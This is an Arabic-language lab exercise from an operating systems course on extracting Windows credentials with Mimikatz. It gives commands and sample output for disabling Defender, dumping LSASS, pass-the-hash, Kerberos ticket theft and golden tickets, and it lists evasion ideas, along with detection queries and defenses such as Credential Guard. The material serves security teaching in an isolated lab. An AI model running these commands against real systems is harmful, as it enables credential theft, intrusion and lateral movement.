المختبر 8.1: ميميكاتز - استخراج بيانات الاعتماد الحية
أهداف التعلم
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم كيفية تخزين ويندوز لبيانات الاعتماد في الذاكرة
- استخدام ميميكاتز لاستخراج كلمات المرور بنص واضح من ذاكرة الوصول العشوائي
- استخراج تجزئات NTLM لاستخدامها في Pass-the-Hash
- فهم كيفية عمل LSASS (خدمة النظام الفرعي لسلطة الأمان المحلية)
- تفريغ تذاكر كيربيروس
- تنفيذ هجمات Pass-the-Hash وPass-the-Ticket
- فهم لماذا يعتبر Credential Guard ضروريًا
- اكتشاف استخدام ميميكاتز على نظام
- تنفيذ الحماية ضد هذه الهجمات
المدة المقدرة
45 دقيقة
المتطلبات المسبقة
- جهاز افتراضي ويندوز 10/11
- حقوق المسؤول
- فهم مصادقة ويندوز
- إكمال المختبر 3.1 (استخراج بيانات الاعتماد) للسياق
- تعطيل مؤقت لمكافحة الفيروسات (للمختبر فقط)
السياق المهني
ميميكاتز هو الأداة الأكثر شهرة ورهبة في أمان ويندوز. تم إنشاؤه بواسطة بنجامين ديلبي، ويظهر أن ويندوز يخزن بيانات الاعتماد في الذاكرة بطريقة قابلة للاسترداد.
يستخدم ميميكاتز بواسطة:
- مختبري الاختراق أثناء اختبارات الاختراق
- فرق الحمراء لمحاكاة الهجمات
- المهاجمين APT (التهديدات المستمرة المتقدمة)
- برامج الفدية للحركة الجانبية
- التحليلات الجنائية للتحقيق
التأثير التاريخي:
- كشف نقاط الضعف في تخزين بيانات الاعتماد في ويندوز
- استخدم في جميع الهجمات الكبرى تقريبًا منذ 2011
- أداة قياسية في أي اختبار اختراق لويندوز
- أجبر مايكروسوفت على تطوير Credential Guard
الهجمات الشهيرة باستخدام ميميكاتز:
- نوتبيتيا (2017) - برنامج فدية مدمر
- باد رابيت (2017) - برنامج فدية يستهدف أوكرانيا
- كارباناك (2015) - سرقة مليار دولار من البنوك
- إندستروير (2016) - هجوم على البنية التحتية الكهربائية
تحذير أخلاقي وقانوني - مهم للغاية
ميميكاتز هو أداة قوية للغاية
يسمح ميميكاتز باستخراج جميع كلمات المرور في الذاكرة، بما في ذلك:
- كلمات المرور بنص واضح
- تجزئات NTLM
- تذاكر كيربيروس
- الشهادات
مسموح به فقط:
- على جهازك الافتراضي الشخصي
- على الأنظمة التي تملكها
- في سياق اختبارات الاختراق بعقد مكتوب وتصريح صريح
- للتحقيق الجنائي بأمر قانوني
محظور تمامًا:
- على أنظمة الشركات بدون تصريح رسمي
- على أجهزة الكمبيوتر التي لا تملكها
- لسرقة بيانات اعتماد الآخرين
- للوصول غير المصرح به إلى الأنظمة
العواقب القانونية: استخدام ميميكاتز غير المصرح به = وصول غير قانوني إلى نظام حاسوبي + سرقة بيانات الاعتماد (قانون جنائي المادة 342.1). جريمة خطيرة مع السجن وغرامات ضخمة.
الاكتشاف:
- جميع برامج مكافحة الفيروسات تكتشف ميميكاتز فورًا
- EDR (الكشف والاستجابة للنقاط النهائية) تنبه في الوقت الحقيقي
- SIEM يربط الأحداث
- الاستخدام يترك آثارًا في السجلات
لهذا المختبر:
- جهاز افتراضي ويندوز معزول (شبكة داخلية)
- لا يوجد وصول للإنترنت
- تعطيل مكافحة الفيروسات فقط لمدة المختبر
- إعادة التفعيل فورًا بعد ذلك
الجزء 1: فهم تخزين بيانات الاعتماد في ويندوز
الخطوة 1.1: LSASS (خدمة النظام الفرعي لسلطة الأمان المحلية)
LSASS.exe:
- عملية ويندوز حيوية
- تدير مصادقة المستخدم
- تخزن بيانات الاعتماد في الذاكرة لتسجيل الدخول الموحد (SSO)
- تعمل بامتيازات SYSTEM
ما الذي يخزنه LSASS:
عندما تقوم بتسجيل الدخول إلى ويندوز:
1. تدخل: اسم المستخدم + كلمة المرور
2. يقوم ويندوز بالتحقق من بيانات الاعتماد
3. يخزن LSASS في الذاكرة:
- كلمة المرور بنص واضح (إذا كان WDigest مفعلًا)
- تجزئة NTLM لكلمة المرور
- تذاكر كيربيروس (إذا كان مجال Active Directory)
- رموز المصادقة
لماذا: للسماح بتسجيل الدخول الموحد (SSO)
- تدخل كلمة المرور مرة واحدة عند تسجيل الدخول
- يستخدمها ويندوز تلقائيًا للوصول إلى الشبكة، الخدمات، إلخ.
- مريح لكن خطير إذا تم اختراقه!
الخطوة 1.2: WDigest وكلمات المرور بنص واضح
بروتوكول مصادقة WDigest:
- بروتوكول قديم لمصادقة HTTP Digest
- كان يخزن كلمات المرور بنص واضح في LSASS!
- مفعل افتراضيًا على ويندوز 7، 8، سيرفر 2008/2012
- معطل افتراضيًا منذ ويندوز 8.1 / سيرفر 2012 R2
التحقق مما إذا كان WDigest مفعلًا:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential"
النتيجة:
1= مفعل (كلمات المرور بنص واضح مخزنة!)0أو غير موجود = معطل (أكثر أمانًا)
أسئلة:
- ما هو LSASS ولماذا هو حيوي؟
- هل WDigest مفعل على نظامك؟
الخطوة 1.3: أنواع بيانات الاعتماد القابلة للاسترداد
مع ميميكاتز، يمكنك الحصول على:
1. كلمات المرور بنص واضح (إذا كان WDigest مفعلًا):
Username: admin
Password: MySecretPassword123!
2. تجزئة NTLM:
NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c
الاستخدام: Pass-the-Hash (تسجيل الدخول بدون كلمة مرور!)
3. تذاكر كيربيروس:
Golden Ticket, Silver Ticket, TGT
الاستخدام: انتحال الهوية، الوصول إلى الموارد
4. الشهادات:
شهادات المصادقة
المفاتيح الخاصة
الجزء 2: التثبيت والتحضير
الخطوة 2.1: تنزيل ميميكاتز
المصدر الرسمي:
- GitHub: https://github.com/gentilkiwi/mimikatz
- الإصدارات: https://github.com/gentilkiwi/mimikatz/releases
قم بالتنزيل:
mimikatz_trunk.zip(الإصدار الكامل)- استخرج في
C:\Tools\mimikatz\
تحذير: سوف يكتشف مضاد الفيروسات ويحذف فورًا!
الخطوة 2.2: تعطيل Windows Defender
PowerShell كمسؤول:
Set-MpPreference -DisableRealtimeMonitoring $true
إضافة استثناء (بديل):
Add-MpPreference -ExclusionPath "C:\Tools\mimikatz"
التحقق:
Get-MpPreference | Select-Object DisableRealtimeMonitoring
يجب أن يعيد: True
مهم: أعد التفعيل بعد المختبر!
Set-MpPreference -DisableRealtimeMonitoring $false
الخطوة 2.3: تفعيل WDigest (للعرض كلمات المرور بنص واضح)
لرؤية كلمات المرور بنص واضح، فعل WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
ثم:
- قم بتسجيل الخروج
- أعد تسجيل الدخول باستخدام كلمة المرور الخاصة بك
- كلمة المرور الآن في الذاكرة بنص واضح!
أسئلة: 3. هل تم تعطيل Windows Defender؟ 4. هل تم تفعيل WDigest الآن؟
الجزء 3: الاستخدام الأول لميميكاتز
الخطوة 3.1: التشغيل والامتيازات
افتح CMD كمسؤول
cd C:\Tools\mimikatz\x64
mimikatz.exe
تفتح واجهة ميميكاتز:
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
الحصول على امتيازات التصحيح (حرج):
mimikatz # privilege::debug
النتيجة المتوقعة:
Privilege '20' OK
إذا "ERROR": أنت لست مسؤولًا!
الترقية إلى رمز SYSTEM:
mimikatz # token::elevate
النتيجة:
Token Id : 0
User name : NT AUTHORITY\SYSTEM
أنت الآن SYSTEM!
أسئلة: 5. هل نجحت الحصول على امتيازات التصحيح؟ 6. ما هو مستوى الامتياز الحالي لديك؟
الجزء 4: استخراج كلمات المرور - الأمر السحري
الخطوة 4.1: sekurlsa::logonpasswords
الأمر الأكثر قوة في ميميكاتز:
mimikatz # sekurlsa::logonpasswords
انتظر بضع ثوانٍ...
النتيجة (مثال):
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : DESKTOP-ABC123$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/8/2024 10:30:45 AM
SID : S-1-5-18
msv :
[00000003] Primary
* Username : DESKTOP-ABC123$
* Domain : WORKGROUP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Authentication Id : 0 ; 123456 (00000000:0001e240)
Session : Interactive from 1
User Name : Admin
Domain : DESKTOP-ABC123
Logon Server : DESKTOP-ABC123
Logon Time : 11/8/2024 10:31:12 AM
SID : S-1-5-21-xxx-xxx-xxx-1001
msv :
[00000003] Primary
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
kerberos :
* Username : Admin
* Domain : DESKTOP-ABC123
* Password : MySecretPassword123!
لا يصدق! تظهر كلمة المرور بنص واضح:
Password : MySecretPassword123!
جميع المستخدمين المتصلين:
- اسم المستخدم الخاص بهم
- نطاقهم
- كلمة المرور الخاصة بهم بنص واضح!
- تجزئة NTLM الخاصة بهم
- تذاكر كيربيروس الخاصة بهم
بوم! هذا هو السبب في أن ميميكاتز أسطوري!
الخطوة 4.2: تحليل النتائج
كل جلسة مستخدم تعرض:
msv (حزمة مصادقة مايكروسوفت):
- تجزئة NTLM
- يمكن استخدامها في Pass-the-Hash
tspkg (حزمة خدمات المحطة الطرفية):
- بيانات الاعتماد لسطح المكتب البعيد
wdigest:
- كلمة المرور بنص واضح (إذا كان WDigest مفعلًا!)
- هنا نرى كلمات المرور!
kerberos:
- تذاكر المصادقة
- كلمة المرور بنص واضح أيضًا (إذا كانت متاحة)
livessp:
- بيانات الاعتماد لـ Live ID
الخطوة 4.3: استخراج مستهدف
استخراج فقط كلمات المرور بنص واضح:
mimikatz # sekurlsa::wdigest
استخراج فقط تجزئات NTLM:
mimikatz # sekurlsa::msv
استخراج فقط تذاكر كيربيروس:
mimikatz # sekurlsa::tickets
أسئلة: 7. كم عدد المستخدمين الذين كان لديهم جلسات نشطة؟ 8. هل تمكنت من رؤية كلمات المرور بنص واضح؟ 9. إذا لم يكن كذلك، لماذا؟ (ربما WDigest معطل)
الجزء 5: هجوم Pass-the-Hash
الخطوة 5.1: فهم Pass-the-Hash
المبدأ:
عادةً:
المستخدم يدخل كلمة المرور → ويندوز يحسب تجزئة NTLM → يستخدم التجزئة للمصادقة
لكن: يقبل ويندوز التجزئة مباشرة!
لذلك:
المهاجم لديه التجزئة (عبر ميميكاتز)
↓
يستخدم التجزئة مباشرة
↓
تسجيل الدخول ناجح بدون معرفة كلمة المرور!
إنه مثل: استخدام بصمة شخص ما بدون الشخص!
الخطوة 5.2: استخراج التجزئة
من نتائج ميميكاتز، لاحظ تجزئة NTLM:
* Username : Admin
* Domain : DESKTOP-ABC123
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
انسخ التجزئة: 8846f7eaee8fb117ad06bdd830b7586c
الخطوة 5.3: استخدام التجزئة للمصادقة
مع ميميكاتز، قم بالمصادقة باستخدام التجزئة:
mimikatz # sekurlsa::pth /user:Admin /domain:DESKTOP-ABC123 /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe
النتيجة: تفتح نافذة CMD جديدة!
هذه الجلسة CMD مصادق عليها كـ Admin بدون إدخال كلمة المرور!
في هذه CMD الجديدة، اختبر:
whoami
النتيجة: DESKTOP-ABC123\Admin
الوصول إلى مشاركة شبكة (إذا كان لديك واحدة):
dir \\192.168.100.20\C$
الوصول ناجح باستخدام التجزئة فقط!
أسئلة: 10. هل نجح Pass-the-Hash؟ 11. ما هي الموارد الشبكية التي يمكنك الوصول إليها باستخدام التجزئة؟
الجزء 6: تفريغ LSASS الكامل
الخطوة 6.1: طريقة بديلة - مدير المهام
إذا لم يكن ميميكاتز متاحًا، يمكنك تفريغ LSASS:
- افتح مدير المهام (Ctrl+Shift+Esc)
- علامة التبويب "التفاصيل"
- ابحث عن
lsass.exe - انقر بزر الماوس الأيمن → "إنشاء ملف تفريغ"
- تم إنشاء الملف:
lsass.DMP
هذا الملف يحتوي على جميع بيانات الاعتماد في الذاكرة!
الخطوة 6.2: تحليل تفريغ LSASS باستخدام ميميكاتز
انقل lsass.DMP إلى جهاز التحليل (غير متصل):
على جهاز التحليل (بدون مكافحة الفيروسات):
mimikatz # sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonpasswords
بوم! استخراج بيانات الاعتماد من التفريغ!
الميزة:
- لا حاجة لتشغيل ميميكاتز على الجهاز الهدف
- تحليل غير متصل (لا اكتشاف أثناء التشغيل)
- يمكن عمل التفريغ بأدوات شرعية (ProcDump، مدير المهام)
أمر ProcDump (Sysinternals - شرعي!):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
أقل اشتباهًا من ميميكاتز!
الخطوة 6.3: الأتمتة
سكريبت PowerShell للتفريغ التلقائي:
# العثور على PID لـ LSASS
$lsassPID = (Get-Process lsass).Id
# إنشاء تفريغ باستخدام comsvcs.dll (طريقة ويندوز الأصلية!)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\Temp\lsass.dmp full
Write-Host "LSASS dumped to C:\Temp\lsass.dmp"
طريقة خفية: تستخدم DLL ويندوز شرعية!
أسئلة: 12. هل يعمل تفريغ LSASS عبر مدير المهام؟ 13. هل يمكنك استخراج بيانات الاعتماد من التفريغ غير المتصل؟
الجزء 7: تذاكر كيربيروس وتذكرة ذهبية
الخطوة 7.1: استخراج تذاكر كيربيروس
قائمة جميع التذاكر:
mimikatz # sekurlsa::tickets
النتيجة:
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 11/8/2024 10:31:12 AM ; 11/8/2024 8:31:12 PM ; 11/15/2024 10:31:12 AM
Service Name (02) : krbtgt ; DOMAIN.LOCAL ; @ DOMAIN.LOCAL
Target Name (--) : @ DOMAIN.LOCAL
Client Name (01) : Admin ; @ DOMAIN.LOCAL
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
التذاكر تحتوي على:
- TGT (تذكرة منح التذاكر)
- تذاكر الخدمة
- تسمح بالوصول بدون إعادة المصادقة
الخطوة 7.2: تصدير التذاكر
تصدير جميع التذاكر إلى ملفات:
mimikatz # sekurlsa::tickets /export
تم إنشاء الملفات:
[0;3e4]-0-0-40e00000-DESKTOP$.kirbi
[0;1e240]-2-0-40e10000-Admin.kirbi
...
هذه الملفات .kirbi هي التذاكر!
استوردها على جهاز آخر:
mimikatz # kerberos::ptt Admin.kirbi
النتيجة: الوصول بهوية Admin على جهاز آخر!
الخطوة 7.3: التذكرة الذهبية (مجال AD)
ملاحظة: يتطلب بيئة Active Directory.
إذا كان لديك تجزئة NTLM لحساب KRBTGT:
mimikatz # kerberos::golden /user:Admin /domain:domain.local /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:HASH /ptt
النتيجة: تذكرة مسؤول دائمة!
التذكرة الذهبية تسمح بـ:
- الوصول إلى جميع موارد المجال
- صالحة لمدة 10 سنوات افتراضيًا
- غير قابلة للاكتشاف (إلا بمراقبة كيربيروس)
- تبقى صالحة حتى بعد تغيير كلمة المرور!
أسئلة: 14. كم عدد تذاكر كيربيروس التي استخرجتها؟ 15. ما هي التذكرة الذهبية ولماذا هي خطيرة جدًا؟
الجزء 8: ميزات أخرى لميميكاتز
الخطوة 8.1: تفريغ SAM المحلي
استخراج تجزئة جميع الحسابات المحلية:
mimikatz # lsadump::sam
النتيجة:
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
RID : 000003e9 (1001)
User : Admin
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
جميع الحسابات المحلية لويندوز!
بديل (أكثر خفية):
mimikatz # lsadump::secrets
يستخرج أيضًا:
- كلمة مرور حساب الجهاز
- كلمات مرور حسابات الخدمة
- مفاتيح DPAPI الرئيسية
الخطوة 8.2: الشهادات والمفاتيح الخاصة
تصدير الشهادات المخزنة:
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export
تم إنشاء الملفات: الشهادات والمفاتيح الخاصة!
الاستخدام:
- المصادقة عبر الشهادة
- توقيع الكود
- تشفير البيانات
الخطوة 8.3: Vault ومدير بيانات الاعتماد
مدير بيانات الاعتماد في ويندوز يخزن:
- بيانات الاعتماد لسطح المكتب البعيد
- بيانات الاعتماد الشبكية
- بيانات الاعتماد الويب
- بيانات الاعتماد العامة
استخراج:
mimikatz # vault::list
mimikatz # vault::cred
النتيجة:
Credential
Type : domain_password
Server : server.company.com
User : admin
Password : P@ssw0rd123
بيانات الاعتماد المخزنة في مدير بيانات الاعتماد مكشوفة!
أسئلة: 16. كم عدد بيانات الاعتماد المخزنة في مدير بيانات الاعتماد؟ 17. هل هناك كلمات مرور RDP محفوظة؟
الجزء 9: اكتشاف ميميكاتز
الخطوة 9.1: توقيعات مكافحة الفيروسات
جميع برامج مكافحة الفيروسات تكتشف ميميكاتز:
اختبار:
أعد تفعيل Defender:
Set-MpPreference -DisableRealtimeMonitoring $false
حاول تشغيل ميميكاتز:
mimikatz.exe
النتيجة: الحذف الفوري بواسطة Defender!
سجلات Windows Defender:
Get-MpThreatDetection | Where-Object {$_.ThreatName -like "*Mimikatz*"}
الخطوة 9.2: اكتشاف سلوكي (EDR)
السلوكيات المشبوهة التي يكتشفها EDR:
-
الوصول إلى عملية LSASS:
- معرف الحدث 4656: مقبض لـ LSASS
- العملية: Unknown.exe
- الوصول: قراءة الذاكرة
-
امتياز SeDebugPrivilege:
- معرف الحدث 4672: تم تعيين امتيازات خاصة
- ضروري لتفريغ LSASS
-
قراءة ذاكرة LSASS:
- API: OpenProcess، ReadProcessMemory
- الهدف: lsass.exe
- علامة حمراء فورية!
استعلام سجلات Sysmon:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} |
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, Message | Format-List
معرف الحدث 10: ProcessAccess (الوصول إلى عملية)
الخطوة 9.3: الاكتشاف عبر تحليل الذاكرة
السلاسل في ذاكرة ميميكاتز:
strings64.exe mimikatz.exe | findstr /i "gentilkiwi sekurlsa"
التوقيعات الفريدة:
- "gentilkiwi" (المؤلف)
- "sekurlsa"
- "A La Vie, A L'Amour" (الشعار)
فحص الذاكرة:
Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $proc.Modules | Where-Object {$_.FileName -like "*kiwi*"}
if ($modules) {
Write-Host "SUSPICIOUS: $($proc.ProcessName)" -ForegroundColor Red
}
} catch {}
}
أسئلة: 18. هل اكتشف Windows Defender ميميكاتز؟ 19. كيف يمكن لـ EDR اكتشاف ميميكاتز حتى مع تعطيل مكافحة الفيروسات؟
الجزء 10: الدفاعات ضد ميميكاتز
الخطوة 10.1: Credential Guard
ويندوز 10/11 Enterprise - Credential Guard:
حماية الأجهزة ضد تفريغ بيانات الاعتماد:
- يستخدم الأمان القائم على الافتراضية (VBS)
- يعمل LSASS في حاوية معزولة
- لا يمكن لميميكاتز الوصول إلى بيانات الاعتماد
التحقق مما إذا كان مفعلًا:
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning
التفعيل (ويندوز Pro/Enterprise + TPM):
# عبر السجل
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# يتطلب إعادة تشغيل
shutdown /r /t 0
مع Credential Guard: يفشل ميميكاتز!
الخطوة 10.2: الحماية التكميلية
1. مجموعة المستخدمين المحميين:
إضافة المستخدمين إلى مجموعة "المستخدمين المحميين":
Add-ADGroupMember -Identity "Protected Users" -Members Admin
الحماية:
- لا يوجد تخزين مؤقت لـ NTLM
- لا يوجد CredSSP
- لا يوجد Kerberos DES/RC4
2. تعطيل WDigest (إذا لم يكن قد تم بالفعل):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
3. حماية LSA (RunAsPPL):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
يعمل LSASS كعملية محمية:
- أكثر صعوبة في التفريغ
- يفشل ميميكاتز الأساسي
- يتطلب برنامج تشغيل لتجاوزه
4. مكافحة الفيروسات وEDR:
- اكتشاف التوقيعات
- اكتشاف السلوك
- حظر الوصول إلى LSASS
5. التسجيل والمراقبة:
- Sysmon مع التكوين المناسب
- معرف الحدث 4656، 4672، 10 (Sysmon)
- تنبيهات على الوصول إلى LSASS
الخطوة 10.3: أفضل الممارسات
الإدارة:
- استخدام حسابات منفصلة (مسؤول مقابل مستخدم يومي)
- عدم استخدام حساب المسؤول لتصفح الويب
- قطع الاتصال بالجلسات عندما لا تكون مستخدمة
- لا يوجد مسؤول مجال على أجهزة المستخدمين
- صناديق القفز للإدارة
التقنية:
- Credential Guard على جميع الأجهزة
- المستخدمون المحميون للحسابات المميزة
- LAPS (حل كلمة مرور المسؤول المحلي)
- تدوير كلمات المرور بانتظام
- 2FA في كل مكان ممكن
المراقبة:
- تنبيهات على الوصول إلى LSASS
- اكتشاف تفريغ العمليات
- خط الأساس للسلوكيات الطبيعية
- ربط الأحداث (SIEM)
أسئلة: 20. هل تم تفعيل Credential Guard على نظامك؟ 21. ما هي التدابير الأخرى التي توصي بها؟
التسليمات
يجب تقديم:
-
تقرير الاستغلال (Word/PDF، 5-6 صفحات):
- إجابات على 21 سؤالًا
- منهجية استخدام ميميكاتز
- لقطات كاملة للنتائج
- تحليل بيانات الاعتماد المستخرجة (مجهولة الهوية!)
- شرح تقني للوظيفة
-
لقطات الشاشة (حد أدنى 8):
- واجهة ميميكاتز
- أمر privilege::debug ناجح
- نتيجة sekurlsa::logonpasswords (كلمات المرور مطموسة إذا كانت حقيقية!)
- تجزئات NTLM المستخرجة
- Pass-the-Hash قيد العمل
- تفريغ LSASS عبر مدير المهام
- محاولة مع Defender مفعل (محظور)
- تكوين Credential Guard
-
التوثيق الفني (3 صفحات):
- شرح مفصل لـ LSASS
- عملية تخزين بيانات الاعتماد في الذاكرة
- لماذا يعمل ميميكاتز
- تطور الحماية من مايكروسوفت
-
خطة الدفاع (2 صفحات):
- تدابير الحماية متعددة الطبقات
- تكوين Credential Guard
- سياسة إدارة الحسابات المميزة
- استراتيجية المراقبة والاكتشاف
معايير التقييم
| المعيار | النقاط |
|---|---|
| فهم كيفية عمل ميميكاتز وLSASS | 25% |
| استخراج ناجح لبيانات الاعتماد | 25% |
| تنفيذ Pass-the-Hash | 20% |
| توثيق فني كامل | 15% |
| خطة دفاع واقعية | 15% |
أوامر مرجعية سريعة
التحضير
# تعطيل Defender (للمختبر فقط!)
Set-MpPreference -DisableRealtimeMonitoring $true
# تفعيل WDigest (لكلمات المرور بنص واضح)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
أساسيات ميميكاتز
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::tickets
Pass-the-Hash
mimikatz # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:cmd.exe
تفريغ LSASS
# واجهة مدير المهام
# أو
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# أو
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump PID lsass.dmp full
تحليل التفريغ
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
الحماية
# Credential Guard
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f
# حماية LSA
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f
# تعطيل WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
استكشاف الأخطاء وإصلاحها
المشكلة: "ERROR kuhl_m_sekurlsa_acquireLSA"
الحل: ميميكاتز لا يملك الامتيازات اللازمة.
- قم بتشغيل CMD كمسؤول
- تحقق من أن
privilege::debugيعيد "OK" - جرب
token::elevate
المشكلة: لا تظهر أي كلمات مرور بنص واضح
السبب: WDigest معطل (طبيعي على ويندوز 10+)
الحلول:
- فعل WDigest (انظر الخطوة 2.3)
- قم بتسجيل الخروج وإعادة تسجيل الدخول
- تجزئات NTLM متاحة دائمًا حتى بدون WDigest
المشكلة: "Access Denied" عند تفريغ LSASS
الحل:
- قم بتشغيل كمسؤول
- قد يحظر مكافحة الفيروسات (تعطيل مؤقتًا)
- بعض EDR تحظر حتى للمسؤول
الذهاب إلى أبعد من ذلك (اختياري)
التحدي 1: تجنب اكتشاف ميميكاتز
تقنيات لتجنب الاكتشاف:
- إخفاء الثنائي
- التحميل في الذاكرة (invoke-mimikatz)
- تعديل كود المصدر وإعادة الترجمة
- استخدام البدائل (pypykatz، lsassy)
التحدي 2: التحليل الجنائي
على جهاز مخترق:
- تحديد آثار ميميكاتز
- تحليل السجلات لإعادة بناء الجدول الزمني
- تحديد بيانات الاعتماد المخترقة
- تقييم التأثير ونطاق الاختراق
التحدي 3: البدائل لميميكاتز
ابحث واختبر:
- pypykatz (تنفيذ بايثون)
- lsassy (تفريغ LSASS عبر SMB)
- SharpKatz (تنفيذ C#)
- SafetyKatz (تنفيذ في الذاكرة)
الموارد الإضافية
- ميميكاتز الرسمي على GitHub
- ويكي ميميكاتز
- مايكروسوفت: Credential Guard
- MITRE ATT&CK: استخراج بيانات الاعتماد
- اكتشاف ميميكاتز
الخاتمة
هذا المختبر علمك:
- استخدام ميميكاتز، الأداة الأسطورية لاستخراج بيانات الاعتماد
- استخراج كلمات المرور بنص واضح من ذاكرة الوصول العشوائي
- تقنية Pass-the-Hash للمصادقة بدون كلمة مرور
- التعامل مع تذاكر كيربيروس
- طرق متعددة لتفريغ LSASS
- الاكتشاف والدفاعات ضد هذه الهجمات
الدروس الحرجة:
- يخزن ويندوز بيانات الاعتماد في الذاكرة بطريقة قابلة للاسترداد
- الوصول الإداري = الوصول إلى جميع بيانات الاعتماد في الذاكرة
- WDigest (إذا كان مفعلًا) يخزن كلمات المرور بنص واضح
- تجزئة NTLM تكفي للمصادقة (Pass-the-Hash)
- Credential Guard هو الحماية الحقيقية الوحيدة
- الاكتشاف سهل لكن الوقاية معقدة
تأثير هذه المعرفة:
- فهم عميق لمصادقة ويندوز
- أهمية فصل الامتيازات
- ضرورة المراقبة والاكتشاف
- Credential Guard = إلزامي في الشركات
- لا تستخدم أبدًا حسابات المسؤول للمهام اليومية
الرسالة النهائية:
لقد تعلمت للتو كيفية استخدام الأداة الأكثر قوة ورهبة في أمان ويندوز. ميميكاتز أحدث ثورة في اختبار الاختراق وأجبر مايكروسوفت على إعادة النظر في بنية الأمان الخاصة بهم.
مع القوة العظيمة تأتي المسؤولية العظيمة.
استخدم ميميكاتز فقط:
- على أجهزتك الافتراضية للاختبار
- في سياق اختبارات الاختراق المصرح بها
- لفهم والدفاع ضد هذه الهجمات
أبدًا لـ:
- سرقة بيانات اعتماد الآخرين
- الوصول غير المصرح به
- الاختراق الخبيث
أنت الآن تفهم لماذا:
- تكتشف برامج مكافحة الفيروسات ميميكاتز فورًا
- تنبه EDR على الوصول إلى LSASS
- Credential Guard ضروري
- تطور أمان ويندوز منذ ويندوز 10
الخطوة التالية: المختبر 8.2 حيث ستتعلم كيفية تجاوز برامج مكافحة الفيروسات باستخدام الإخفاء وتجاوز AMSI!
تم تطوير المختبر كجزء من دورة أنظمة التشغيل - الوحدة 8